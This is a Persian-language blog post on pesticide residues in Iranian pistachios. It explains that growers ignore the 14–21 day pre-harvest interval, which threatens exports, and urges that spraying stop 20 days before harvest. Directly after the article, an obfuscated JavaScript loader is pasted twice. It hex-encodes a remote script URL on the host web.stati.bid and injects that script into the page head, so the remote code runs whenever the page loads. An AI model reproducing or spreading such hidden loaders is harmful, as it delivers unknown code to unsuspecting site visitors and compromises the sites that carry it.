مطلب

۳ مهر ۱۳۹۶

باقیمانده سموم در پسته

در سنوات قبل مشکل افلاتوکسین در پسته مطرح بود و چندین سال موانع زیادی بر سر راه صادرات پسته ایجاد نمود و همواره قیمت پسته را تحت تأثیر قرار داده، مخصوصاً صادرات پسته کشور به اروپا را خیلی سخت نمود، و در حال حاضر به دلیل قبول اعداد بیشتری برای افلاتوکسین پسته در دنیا و مهم تر اینکه مناطق پسته کاری ایران در اقلیم خشک و کویری واقع شده و میزان رطوبت نسبی هوا بسیار پایین است لذا قارچ های آسپرژیلوس فرصت رشد مناسب نداشته اند نتیجتاً همواره میزان افلاتوکسین در پسته ایران خیلی بالا نبوده است و با کمی رعایت نکات در زمان برداشت مشکل کلاً مرتفع می شود کما اینکه فعلاً ما مشکل جدی با افلاتوکسین نداریم.
اما چیزی که امروز برای پسته ایران جای نگرانی دارد باقیمانده سموم است، که متأسفانه می شنویم که اخیراً بعضی از محصولات کشاورزی ما از کشورهای خلیجی هم به همین دلیل برگشت خورده اند.

موضوع در مورد پسته نیز بسیار مهم است باغداران در تمام طول فصل به محض مشاهده آفت سمپاشی می کنند و این کار از ابتدای فصل تا پایان فصل ادامه می یابد. در صورتی که دوره کارنس سموم کشاورزی (حداقل زمانی که بین آخرین سمپاشی و برداشت محصول باید رعایت شود که در این مدت باقیمانده سم در اثر عوامل طبیعی تجزیه شده و باقیمانده آن در سطح میوه به حد مجاز می رسد) در اکثر سموم مصرفی در باغات پسته معمولاً بین ۲۱-۱۴ روز می باشد.اما باغداران اصلاً این فاصله زمانی را رعایت نمی کنند حتی گاهی فشار آفت به حدی است که کشاورز عملاً نمی تواند آنرا رعایت کند در نتیجه این پسته هایی که پوست آنها آلوده به سم است چیده شده و وارد پروسه ضبط پسته می شوند و از همان ابتدا داخل چرخ پسته پوست کنی و سپس توسط آب این سموم وارد مغز پسته می شوند و محصول را آلوده می کنند لذا مقداری سم در این پسته وجود دارد که یقیناً برای سلامتی خطرناک می باشد. و در حال حاضر و آینده این مسئله بزرگترین معضل بر سر راه صادرات پسته ایران است، کما اینکه مصرف این پسته در داخل کشور و یا حتی مصرف خودمان نیز مشکل دارد.لذا باید تدابیری اندیشیده شود که حداقل از ۲۰ روز قبل از برداشت محصول سموم آفات گیاهی در باغات پسته مصرف نشود تا انشاالله محصول خوب و سالم برای خودمان و برای جهان را داشته باشیم. var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el) var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)

دسته‌بندی نشده
درباره مهندس علی حیدری

به دلیل نوسانات ارز و تاثیر آن بر بازار کود لطفا جهت اطلاع از قیمت نهایی محصولات با دفتر مرکزی تماس حاصل فرمائید . تلفن تماس 03434260039 رد کردن